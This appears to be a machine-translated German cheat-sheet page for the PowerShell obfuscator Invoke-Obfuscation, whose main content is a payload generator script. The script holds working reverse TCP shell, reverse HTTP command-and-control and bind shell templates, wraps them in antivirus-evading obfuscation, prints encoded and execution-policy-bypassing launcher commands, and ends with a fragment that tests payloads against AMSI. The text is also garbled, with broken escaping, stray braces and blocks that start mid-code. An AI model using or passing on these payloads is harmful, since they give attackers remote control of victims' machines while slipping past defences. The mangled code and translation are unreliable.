generieren

Überblick¶

Invoke-Obfuscation ist eine Kraft Shell v2.0+ kompatible Leistung Shell Befehl und Skript obfuscator. Es wurde entwickelt, um rote Teamer und Penetrationstester bei der Umgehung von Antivirenprogrammen, Applikation Whitelisting und anderen defensiven Maßnahmen durch obfuscating PowerShell Skripte und Befehle zu unterstützen. Das Tool bietet mehrere obfuscation-Techniken einschließlich tokenbasierter Obfuskation, String obfuscation, Encoding und Kompression.

\\\\} catch \\\\{
    Write-Host "  ✗ Error: $($_.Exception.Message)" -ForegroundColor Red
\\\\}

\\}

Write-Host "[+] Batch obfuscation completed" ```_

Payload Generator Script¶

```powershell

Advanced payload generator with obfuscation¶

[Parameter(Mandatory=$true)]
[int]$LPORT,

[string]$PayloadType = "reverse_tcp",
[string]$OutputPath = ".\obfuscated_payload.ps1",
[string[]]$ObfuscationLevels = @("TOKEN\ALL\1", "STRING\1", "ENCODING\1")

)

Define payload templates¶

$payloadTemplates = @\\\\{ "reverse_tcp" = @" $client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT)$stream = $client.GetStream() [byte[]]$bytes = 0..65535|%\\\\{0\\\\} while(($i =$stream.Read($bytes, 0,$bytes.Length)) -ne 0) \\\\{ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)$sendback = (iex $data 2>&1|Out-String)$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() \\}$client.Close() "@

"reverse_http" = @"

$wc = New-Object System.Net.WebClient$wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36') while($true) \\{ try \\{$command = $wc.DownloadString('http://$LHOST:$LPORT/command') if ($command) \\{$result = iex $command 2>&1|Out-String$wc.UploadString('http://$LHOST:$LPORT/result',$result) \\} Start-Sleep -Seconds 5 \\} catch \\{ Start-Sleep -Seconds 10 \\} \\} "@

"bind_tcp" = @"

$listener = [System.Net.Sockets.TcpListener]$LPORT$listener.Start() $client =$listener.AcceptTcpClient() $stream =$client.GetStream() [byte[]]$bytes = 0..65535|%\\{0\\} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) \\{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i) $sendback = (iex$data 2>&1|Out-String) $sendback2 =$sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush() \\} $client.Close()$listener.Stop() "@ \\}

Generate base payload¶

if ($payloadTemplates.ContainsKey($PayloadType)) \\{ $basePayload = $payloadTemplates[$PayloadType] Write-Host "[+] Generated $PayloadType payload for $LHOST`:$LPORT" \} else \{ Write-Host "[-] Unknown payload type: $PayloadType" -ForegroundColor Red return \}

Apply obfuscation¶

$obfuscatedPayload = $basePayload foreach ($level in $ObfuscationLevels) \{ Write-Host "[+] Applying obfuscation: $level" $obfuscatedPayload = Invoke-Obfuscation -ScriptBlock ([ScriptBlock]::Create($obfuscatedPayload)) -Command $level -Quiet \}

Save to file¶

$obfuscatedPayload|Out-File -FilePath $OutputPath -Encoding UTF8 Write-Host "[+] Obfuscated payload saved to: $OutputPath"

Generate launcher commands¶

Write-Host "n[+] Launcher commands:" Write-Host "PowerShell: powershell.exe -ExecutionPolicy Bypass -File"$OutputPath`"" Write-Host "Encoded: powershell.exe -EncodedCommand $([Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($obfuscatedPayload)))"

Generate one-liner¶

$oneLiner = $obfuscatedPayload -replace "rn", "; " -replace "n", "; " Write-Host "n[+] One-liner:" Write-Host "powershell.exe -Command "$oneLiner"" ```_

Evasion Testing Script¶

    $result = [System.Management.Automation.AmsiUtils]::ScanContent($payload, "test")

    if ($result -eq "Clean") \\{
        Write-Host "  ✓ AMSI: Clean" -ForegroundColor Green
    \\} else \\{
